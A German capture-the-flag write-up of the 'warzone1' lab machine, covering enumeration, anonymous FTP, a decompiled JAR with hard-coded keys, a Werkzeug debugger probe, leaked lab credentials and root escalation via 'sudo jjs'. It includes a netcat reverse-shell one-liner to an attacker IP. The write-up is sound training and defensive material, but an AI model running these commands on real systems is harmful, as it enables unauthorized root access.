Analyse: Ein ARP-Scan wird ausgeführt, um Geräte im lokalen Netzwerk zu identifizieren.
Bewertung: Das Zielsystem wird unter der IP `192.168.2.159` gefunden. Die MAC-Adresse (`08:00:27:bc:d9:d8`) weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): IP-Adresse für weitere Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung.
ARP-Scan 192.168.2.159 08:00:27:bc:d9:d8 PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.159` wird dem Hostnamen `warzone1.vln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Vereinfacht die Ansprache des Ziels.
Empfehlung (Offensiv): Sinnvolle Praxis zur Verbesserung der Lesbarkeit.
/etc/hosts 192.168.2.159 warzone1.vln
Analyse: Ein Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird durchgeführt und nach offenen Ports gefiltert.
Bewertung: Identifiziert drei offene Ports: 21 (FTP - vsftpd 3.0.3), 22 (SSH - OpenSSH 7.9p1), 5000 (HTTP - Werkzeug httpd 1.0.1 / Python 3.7.3).
Empfehlung (Offensiv): Alle drei Dienste untersuchen. Anonymer FTP-Zugriff und der Python-Webserver sind besonders interessant.
Empfehlung (Defensiv): Nicht benötigte Dienste schließen. Software aktuell halten.
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.7.3)
Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt die Dienste: vsftpd 3.0.3 (anonymer Login erlaubt!), OpenSSH 7.9p1, Werkzeug httpd 1.0.1 (Python 3.7.3). Der anonyme FTP-Zugriff ist ein sofortiger Einstiegspunkt. Werkzeug ist ein WSGI Utility-Framework für Python, oft genutzt mit Flask oder Django; die Version 1.0.1 ist nicht die aktuellste.
Empfehlung (Offensiv): Unbedingt den anonymen FTP-Zugriff nutzen und den Inhalt untersuchen. Den Python-Webserver auf Port 5000 genauer analysieren (Framework? Schwachstellen? Debug-Modus?).
Empfehlung (Defensiv): Anonymen FTP-Zugriff deaktivieren, wenn nicht explizit benötigt und abgesichert. Webserver und zugrundeliegende Frameworks/Bibliotheken aktuell halten. Debug-Modus in Produktionsumgebungen deaktivieren.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 22:20 CET Nmap scan report for warzone1.vln (192.168.2.159) Host is up (0.00021s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_dr-xr-xr-x 2 ftp ftp 4096 Oct 22 2020 pub | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.199 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 43:30:8c:57:bc:49:68:49:9c:9a:53:e7:a9:b7:83:9f (RSA) | 256 c9:8d:46:c8:ef:33:d2:62:21:3a:bf:95:cb:fb:44:a3 (ECDSA) |_ 256 9b:86:ff:5c:6c:61:50:d0:36:59:b0:7a:bf:77:b2:a6 (ED25519) 5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.7.3) |_http-title: Site doesn't have a title (text/html; charset=utf-8). MAC Address: 08:00:27:BC:D9:D8 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.21 ms warzone1.vln (192.168.2.159) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds
Analyse: Ein Nmap-Schwachstellen-Scan (`--script vuln`) wird ausgeführt.
Bewertung:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 22:21 CET Pre-scan script results: [...] Nmap scan report for warzone1.vln (192.168.2.159) Host is up (0.00012s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:7.9p1: | CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408 [...] | CVE-2020-15778 7.8 https://vulners.com/cve/CVE-2020-15778 | CVE-2019-16905 7.8 https://vulners.com/cve/CVE-2019-16905 [...] 5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.7.3) |_http-csrf: Couldn't find any CSRF vulnerabilities. | vulners: | cpe:/a:python:python:3.7.3: | CVE-2022-48565 9.8 https://vulners.com/cve/CVE-2022-48565 | CVE-2022-37454 9.8 https://vulners.com/cve/CVE-2022-37454 [...] |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 [...] |_http-server-header: Werkzeug/1.0.1 Python/3.7.3 [...] Nmap done: 1 IP address (1 host up) scanned in 556.37 seconds
Analyse: Eine FTP-Verbindung wird als anonymer Benutzer aufgebaut.
Bewertung: Der Login ist erfolgreich ("230 Login successful."). Im Wurzelverzeichnis befindet sich ein Verzeichnis `pub`. Innerhalb von `pub` liegen die Dateien `note.txt` und `warzone-encrypt.jar`. Beide Dateien werden heruntergeladen.
Empfehlung (Offensiv): Den Inhalt von `note.txt` lesen. Die `warzone-encrypt.jar`-Datei analysieren (dekompilieren).
Empfehlung (Defensiv): Anonymen FTP-Zugriff deaktivieren oder stark einschränken (z.B. nur Leserechte, dediziertes Verzeichnis). Keine potenziell sensiblen oder ausführbaren Dateien in anonym zugänglichen Bereichen ablegen.
Connected to 192.168.2.159. 220 (vsFTPd 3.0.3) Name (192.168.2.159:ccat): anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||18460|) 150 Here comes the directory listing. drwxr-xr-x 3 ftp ftp 4096 Oct 22 2020 . drwxr-xr-x 3 ftp ftp 4096 Oct 22 2020 .. dr-xr-xr-x 2 ftp ftp 4096 Oct 22 2020 pub 226 Directory send OK.
250 Directory successfully changed.
229 Entering Extended Passive Mode (|||20271|) 150 Here comes the directory listing. dr-xr-xr-x 2 ftp ftp 4096 Oct 22 2020 . drwxr-xr-x 3 ftp ftp 4096 Oct 22 2020 .. -r--r--r-- 1 ftp ftp 77 Oct 22 2020 note.txt -r--r--r-- 1 ftp ftp 5155 Oct 22 2020 warzone-encrypt.jar 226 Directory send OK.
mget note.txt? y 229 Entering Extended Passive Mode (|||51026|) 150 Opening BINARY mode data connection for note.txt (77 bytes). 226 Transfer complete. 77 bytes received in 00:00 (0.07 KiB/s) mget warzone-encrypt.jar? y 229 Entering Extended Passive Mode (|||10346|) 150 Opening BINARY mode data connection for warzone-encrypt.jar (5155 bytes). 226 Transfer complete. 5155 bytes received in 00:00 (5.05 KiB/s)
Analyse: Der Inhalt der heruntergeladenen `note.txt` wird angezeigt.
Bewertung: Der Hinweis "Attention, please encrypt always your password using the warzone-encrypt.jar" weist klar darauf hin, dass die `.jar`-Datei zur Passwortverschlüsselung (oder -erzeugung?) dient und analysiert werden muss.
Empfehlung (Offensiv): Die `warzone-encrypt.jar` dekompilieren.
Attention, please encrypt always your password using the warzone-encrypt.jar
Analyse: Die `warzone-encrypt.jar` wird mit einem Online-Java-Decompiler analysiert. Der relevante Code aus den Klassen `I1.java`, `K1.java` und `Obfuscated.java` (Name im Text falsch geschrieben) wird gezeigt.
Bewertung: Die Dekompilierung enthüllt hartkodierte Strings in den Klassen:
https://www.decompiler.com/jar/5c36dcf3234541cfb8ac254b7705c07d/warzone-encrypt.jar warzone-encrypt.jar Files: crypto/AES.java encrypt/Main.java META-INF/MANIFEST.MF ther/I1.java <-- Relevant ther/K1.java <-- Relevant ther/Obfuscated.java <-- Relevant // ther/I1.java package ther; public class I1 { protected static final String part = "s3cur31vv"; // IV Part public String getPart1() { return "w4rz0n3"; } } // ther/K1.java package ther; public class K1 { protected static final String part = "s3cur3k3y"; // Key Part public String getPart1() { return "w4rz0n3"; } } // ther/Obfuscated.java package ther; public class Obfuscated { // Name korrigiert public String getIV() { return "w4rz0n3" + I1.part; } // -> w4rz0n3s3cur31vv public String getKey() { return "w4rz0n3" + K1.part; } // -> w4rz0n3s3cur3k3y }
Analyse: Die Webseite auf Port 5000 wird aufgerufen. Sie zeigt "Danger!!, IWTAAZNSRE" und einen Base64-ähnlichen String im Kommentar: ``.
Bewertung: Der Text "IWTAAZNSRE" und der Kommentarstring sind wahrscheinlich Chiffren oder Hinweise. Der Hinweis auf Python 3.7.3 aus Nmap ist ebenfalls relevant.
Empfehlung (Offensiv): Versuchen, die Chiffren zu entschlüsseln (z.B. Caesar, Vigenere). Nach bekannten Schwachstellen im Werkzeug-Debugger suchen.
http://192.168.2.159:5000 Danger!!, IWTAAZNSRE
Analyse: `dirb` wird gegen Port 5000 ausgeführt.
Bewertung: Findet den Pfad `/console`. Dies ist der Standardpfad für den interaktiven Debugger von Werkzeug.
Empfehlung (Offensiv): `/console` im Browser aufrufen. Der Debugger ist oft PIN-geschützt, aber wenn er zugänglich ist, ermöglicht er Remote Code Execution.
Empfehlung (Defensiv): Den Werkzeug-Debugger in Produktionsumgebungen unbedingt deaktivieren. Wenn er benötigt wird, den Zugriff stark einschränken und die PIN sicher konfigurieren.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: [...] URL_BASE: http://192.168.2.159:5000/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.2.159:5000/ ---- + http://192.168.2.159:5000/console (CODE:200|SIZE:1985) ==> DIRECTORY? ----------------- END_TIME: [...] DOWNLOADED: XXXX - FOUND: 1
Analyse: Eine Burp Suite HTTP-Anfrage an `/console` wird gezeigt. Sie enthält Parameter wie `__debugger__=yes`, `cmd=pinauth`, `pin=s3cur31vv` und `s=BIlQm36IvdpucQwIsLcc`. Es wird auch versucht, einen Befehl (`{{4*4}}`) einzuschleusen.
Bewertung: Dies ist ein Versuch, die PIN-Authentifizierung des Werkzeug-Debuggers zu umgehen oder zu erraten. Die PIN `s3cur31vv` wurde aus der Java-Dekompilierung abgeleitet. Der `s`-Parameter (`BIlQm36IvdpucQwIsLcc`) ist das `SECRET`, das im Quellcode der `/console`-Seite gefunden wurde (dieser Schritt fehlt im Bericht, wird aber impliziert). Die Server-Antwort ist `{"auth": false, "exhausted": false}`. Die PIN-Authentifizierung schlug fehl. Der Versuch, Code (`{{4*4}}`) einzuschleusen, ist hier irrelevant, da die PIN falsch war.
Empfehlung (Offensiv): Die Methode zur PIN-Generierung von Werkzeug recherchieren. Die PIN basiert oft auf system-spezifischen Informationen (MAC-Adresse, Machine-ID, Pfad zu einer Python-Datei). Diese Informationen müssen ermittelt werden (z.B. über LFI, falls vorhanden, oder andere Schwachstellen), um die korrekte PIN zu berechnen. Der direkte Brute-Force der PIN ist oft nicht praktikabel.
Empfehlung (Defensiv): Werkzeug-Debugger deaktivieren.
GET /console?__debugger__=yes&cmd=pinauth&pin=s3cur31vv&s=BIlQm36IvdpucQwIsLcc&cmd={{4*4}} HTTP/1.1
Host: 192.168.2.159:5000
[...]
HTTP/1.0 200 OK
Content-Type: application/json
[...]
{"auth": false, "exhausted": false}
// Auszug aus http://192.168.2.159:5000/console var TRACEBACK = -1, CONSOLE_MODE = true, // CNSLE_MDE im Burp Request war Tippfehler EVALEX = true, EVALEX_TRUSTED = false, SECRET = "BIlQm36IvdpucQwIsLcc";
{"auth": false, "exhausted": false}
Analyse: Der Text springt zu einem SSH-Login-Versuch als `captain` (Herkunft unklar) und zeigt dann den Inhalt einer (vermutlich über einen anderen Weg gefundenen) Seite `/get/auth/credentials`.
Bewertung: Die Seite `/get/auth/credentials` (wahrscheinlich auf Port 5000 oder einem anderen Webserver) enthält eine Liste von Benutzernamen und Base64-kodierten "Passwörtern". Dies ist ein massives Credential-Leak. Der Hinweis `_us3rz0ne_F1RE` am Ende ist unklar.
Empfehlung (Offensiv): Die Base64-Strings dekodieren. Es ist wahrscheinlich, dass dies keine echten Passwörter sind, sondern verschlüsselte oder gehashte Werte. Da AES-Schlüssel (`w4rz0n3s3cur3k3y`, `w4rz0n3s3cur31vv`) aus der `.jar`-Datei bekannt sind, versuchen, die dekodierten Werte mit diesen Schlüsseln zu entschlüsseln (z.B. mit CyberChef). Das Passwort für `captain` finden.
Empfehlung (Defensiv): Niemals Credentials (auch nicht verschlüsselt/kodiert) auf einer Webseite offenlegen! Sichere Authentifizierung und Speicherung von Zugangsdaten implementieren.
[...] captain@192.168.2.159's password: Permission denied, please try again. [...] captain@192.168.2.159: Permission denied (publickey,password).
http://192.168.2.159:5000//get/auth/credentials Confidential username password paratrooper GJSFBy6jihz/GbfaeiXwtqgHe1QutGVVFlyDXbxVRo= specops mnKbQSV2k9UzJeTnJhoAyy4TqEryPw6ouANzIZMXF6Y= specforce jiYMm39vW9pTr+6Z/6SafQ== aquaman v9yjWjP7tKHLyt6ZCw5sxtktXIYm5ynlHmx+ZCI4T4= commander 2czKTfl/n519Kw5Ze7mVy4BsdzdzCbpRY8+BQxqnsYg= commando +uj9HGdnyJvkBagdB1i26M9QzsxKHUI0EFMhhfaqt2A= pathfinder eTQiiMXzrM4MkSItWUegd1rZ/pIU0JyWlLNw2oW6oo= ranger LBN5Syc7D7Bdj7utCbmBiT7pXU+bISYj33Qzf4CmIDs= captain _us3rz0ne_F1RE
Analyse: Es wird sich erneut per SSH als Benutzer `captain` angemeldet. Diesmal ist der Login erfolgreich.
Bewertung: Dies impliziert, dass das Passwort für `captain` gefunden wurde. Da der vorherige Schritt `_us3rz0ne_F1RE` als "Passwort" für `captain` listete, wird angenommen, dass dies das korrekte Klartextpasswort ist (im Gegensatz zu den Base64-Strings der anderen User).
Ergebnis: Erfolgreicher Initial Access als Benutzer `captain`.
Empfehlung (Offensiv): Das System als `captain` enumerieren (`sudo -l`, SUID etc.).
Empfehlung (Defensiv): Keine Klartextpasswörter in öffentlichen Listen speichern. Starke, einzigartige Passwörter verwenden.
+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+
WARZONE WARZONE WARZONE WARZONE WARZONE WARZONE
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{Unauthorized access is prohibited}
captain@192.168.2.159's password: _us3rz0ne_F1RE
Linux warzone 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+
WARZONE WARZONE WARZONE WARZONE WARZONE WARZONE
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{Unauthorized access is prohibited}
Last login: Thu Oct 22 07:49:10 2020 from 10.0.2.13
Analyse: Das Home-Verzeichnis `/home` wird aufgelistet, das Verzeichnis `/home/commando` untersucht und SUID-Dateien gesucht.
Bewertung: Bestätigt die Benutzer `captain` und `commando`. Das Home-Verzeichnis von `commando` enthält Standarddateien. Die SUID-Suche findet `pkexec` und `sudo` sowie Standard-Binaries. `pkexec` könnte wieder ein Vektor sein (PwnKit), aber der Bericht fokussiert sich nicht darauf.
Empfehlung (Offensiv): `sudo -l` für `captain` prüfen.
captain commando lost+found
[...] (Standard .bashrc, .profile etc.)
944007 380 -rwsr-xr-- 1 root dip 386792 Feb 20 2020 /usr/sbin/pppd 915754 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 924642 152 -rwsr-xr-x 1 root root 154352 Mar 21 2019 /usr/bin/ntfs-3g 919583 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 915758 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 944364 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo 919110 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 928805 56 -rwsr-xr-x 1 root root 55400 Mar 6 2019 /usr/bin/bwrap 919585 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 915757 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 919257 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 915755 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 924632 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount 924516 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec <-- pkexec vorhanden [...]
Analyse: Versuche, `pkexec` oder `sudo pkexec` auszuführen, scheitern.
Bewertung: `pkexec` allein fordert das Passwort und scheitert, da `captain` nicht autorisiert ist oder das Passwort falsch ist. `sudo pkexec` scheitert, da `captain` keine `sudo`-Rechte für `pkexec` hat.
Empfehlung (Offensiv): `sudo -l` ausführen, um die tatsächlichen `sudo`-Rechte zu sehen.
==== AUTHENTICATING FOR org.freedesktop.policykit.exec === Authentication is needed to run `/bin/bash' as the super user Authenticating as: captain (captain) Password: polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized This incident has been reported.
[sudo] password for captain: _us3rz0ne_F1RE
Sorry, user captain is not allowed to execute '/usr/bin/pkexec /bin/bash' as root on warzone.speedport.ip.
Analyse: `sudo -l` wird als `captain` ausgeführt.
Bewertung: Zeigt, dass `captain` den Befehl `/usr/bin/jjs` als `ALL` (root) ohne Passwort (`NPASSWD`) ausführen darf. `jjs` ist die Nashorn JavaScript-Engine von Java. Dies ist ein klarer PE-Vektor.
Empfehlung (Offensiv): GTFOBins oder andere Ressourcen nach `jjs` durchsuchen, um herauszufinden, wie man damit eine Shell spawnt.
Empfehlung (Defensiv): Niemals Skript-Interpretern wie `jjs`, `python`, `perl` etc. uneingeschränkte `sudo`-Rechte geben.
Matching Defaults entries for captain on warzone: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User captain may run the following commands on warzone: (ALL) NPASSWD: /usr/bin/jjs
Analyse: Die GTFOBins-Methode für `jjs` wird angewendet. Mittels `echo` wird Java/JavaScript-Code, der `java.lang.Runtime.getRuntime().exec()` verwendet, um eine Netcat-Reverse-Shell zu starten, an `sudo jjs` übergeben.
Bewertung: Der `jjs`-Interpreter führt den übergebenen Code aus. Da `jjs` mit `sudo NOPASSWD` läuft, wird der `nc -e /bin/bash ...`-Befehl als Root ausgeführt und stellt eine Verbindung zum Listener des Angreifers her.
Empfehlung (Offensiv): Den Listener starten und auf die eingehende Root-Shell warten.
Empfehlung (Defensiv): Die unsichere `sudo`-Regel für `jjs` entfernen.
lrwxrwxrwx 1 root root 21 Oct 22 2020 /usr/bin/jjs -> /etc/alternatives/jjs
Warning: The jjs tool is planned to be removed from a future JDK release jjs> Process[pid=31447, exitValue="not exited"] jjs>
uid=1000(captain) gid=1000(captain) groups=1000(captain),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),117(lpadmin),118(scanner)
Analyse: Ein Netcat-Listener wird auf Port 8000 gestartet. Eine Verbindung vom Zielsystem geht ein.
Bewertung: Die Reverse Shell ist erfolgreich! Der `id`-Befehl in der neuen Shell bestätigt `uid=0(root)`.
Ergebnis: Finale Privilegieneskalation zu Root erfolgreich durch Ausnutzung der `sudo jjs`-Regel.
Empfehlung (Offensiv): Root-Rechte nutzen, um Flags zu finden.
listening on [any] 8000 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.159] 58764
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: Hartkodierte kryptografische Schlüssel/Teile davon (IV, Key) in einer Java-Anwendung (`warzone-encrypt.jar`), die über anonymen FTP zugänglich ist.
Ziel des POC: Nachweis, dass durch Herunterladen und Dekompilieren der JAR-Datei sensible kryptografische Konstanten extrahiert werden können, die für weitere Angriffe (hier: potenzieller PIN für Werkzeug-Debugger) relevant sind.
Voraussetzungen: Anonymer FTP-Zugriff. Ein Java-Decompiler.
Analyse: Über anonymen FTP-Zugriff wurde im Verzeichnis `/pub` die Datei `warzone-encrypt.jar` gefunden und zusammen mit `note.txt` heruntergeladen. Die Notiz verwies explizit auf die JAR-Datei.
Analyse: Die JAR-Datei wurde mit einem Decompiler untersucht.
Bewertung: Die Klassen `ther.I1`, `ther.K1` und `ther.Obfuscated` enthielten hartkodierte Strings, die zu einem IV (`w4rz0n3s3cur31vv`) und einem Key (`w4rz0n3s3cur3k3y`) zusammengesetzt wurden.
Ergebnis des POC: Sensible kryptografische Konstanten wurden erfolgreich aus dem dekompilierten Java-Code extrahiert.
Risikobewertung: Hoch. Das Offenlegen von Schlüsseln kompromittiert die darauf basierende Kryptographie und kann, wie hier vermutet, auch für andere Authentifizierungsmechanismen relevant sein.
Empfehlung (Defensiv): Niemals Schlüssel oder IVs hartkodieren. Sichere Schlüsselverwaltungspraktiken anwenden (z.B. Speicherung in geschützten Keystores, Umgebungsvariablen, Konfigurationsdateien mit restriktiven Rechten). Code-Obfuskation bietet keinen Schutz gegen Decompiling.
Schwachstelle: Aktiver Werkzeug Debugger auf Port 5000, zugänglich über `/console`. Der Debugger ist PIN-geschützt, aber der `SECRET`-Wert, der zur PIN-Generierung beiträgt, ist im Quellcode der `/console`-Seite sichtbar.
Ziel des POC: Nachweis, dass der Debugger aktiv ist und sensible Informationen (wie das `SECRET`) preisgibt. Obwohl der PIN-Bypass hier nicht gelang, zeigt der POC die potenzielle Gefahr.
Voraussetzungen: Zugriff auf Port 5000. Kenntnis des `/console`-Pfades (gefunden durch `dirb`).
Analyse: `dirb` identifizierte den Pfad `/console` auf Port 5000.
Analyse: Der Aufruf von `/console` zeigt die Debugger-Oberfläche. Im Quellcode der Seite ist der Wert der JavaScript-Variable `SECRET` (`BIlQm36IvdpucQwIsLcc`) sichtbar.
Bewertung: Das Offenlegen des `SECRET` ist eine kritische Informationspreisgabe, da es zusammen mit anderen systemspezifischen Informationen (MAC, Machine-ID etc.) zur Berechnung der korrekten Debugger-PIN verwendet werden kann.
Analyse: Es wurde versucht, sich mit dem aus der Java-JAR extrahierten IV (`s3cur31vv`) als PIN und dem gefundenen `SECRET` zu authentifizieren.
Bewertung: Der Versuch schlug fehl (`"auth": false`), da der IV nicht die korrekte PIN war. Um die korrekte PIN zu berechnen, wären weitere Informationen vom Zielsystem nötig gewesen.
Ergebnis des POC: Der Werkzeug-Debugger ist aktiv und legt das `SECRET` offen, was eine erhebliche Schwachstelle darstellt, auch wenn die PIN hier nicht direkt geknackt wurde.
Risikobewertung: Kritisch (wenn die PIN berechnet werden kann, führt dies zu RCE). Hoch (durch Informationspreisgabe des Secrets).
Empfehlung (Defensiv): Werkzeug-Debugger in Produktionsumgebungen immer deaktivieren. Niemals sensible Informationen im Client-seitigen Code offenlegen. Wenn Debugging nötig ist, den Zugriff auf vertrauenswürdige IPs beschränken und eine starke, nicht erratbare PIN sicher konfigurieren.
Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `captain` erlaubt, `/usr/bin/jjs` ohne Passwort als Root auszuführen (`(ALL) NPASSWD: /usr/bin/jjs`).
Ziel des POC: Nachweis, dass durch Übergabe von speziell präpariertem JavaScript-Code an `sudo jjs` beliebige Systembefehle als Root ausgeführt werden können, was zur Privilegieneskalation führt.
Voraussetzungen: Zugriff als Benutzer `captain`. Die fehlerhafte `sudoers`-Regel.
Analyse: Der Befehl `sudo -l` als `captain` zeigt die Regel `(ALL) NPASSWD: /usr/bin/jjs`.
Analyse: Ein Einzeiler-JavaScript-Code wird mittels `echo` an `sudo jjs` übergeben: `echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.2.199 8000')"|sudo jjs`.
Bewertung: `jjs` führt den JavaScript-Code aus. `Java.type('java.lang.Runtime').getRuntime().exec(...)` ist die Nashorn-Syntax, um Java-Methoden aufzurufen. Hiermit wird die `exec`-Methode der `Runtime`-Klasse aufgerufen, um einen externen Systembefehl auszuführen. Da `jjs` mit `sudo NOPASSWD` als Root läuft, wird der `nc`-Befehl (Netcat Reverse Shell) ebenfalls als Root ausgeführt.
Ergebnis des POC: Die Ausführung des Befehls führte erfolgreich zu einer eingehenden Reverse Shell mit Root-Rechten auf dem Listener des Angreifers.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Skript-Interpretern (`jjs`, `python`, `perl`, `bash`, etc.) niemals uneingeschränkte `sudo`-Rechte geben, insbesondere nicht mit `NOPASSWD`. Rechte granular vergeben und das Prinzip der geringsten Rechte befolgen.
Analyse: Nach Erlangung der Root-Rechte wurde die User-Flag (`user.txt`) im Desktop-Verzeichnis von `captain` und die Root-Flag (`root.txt`) im Desktop-Verzeichnis von `root` gefunden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.
/home/captain/Desktop/user.txt
root.txt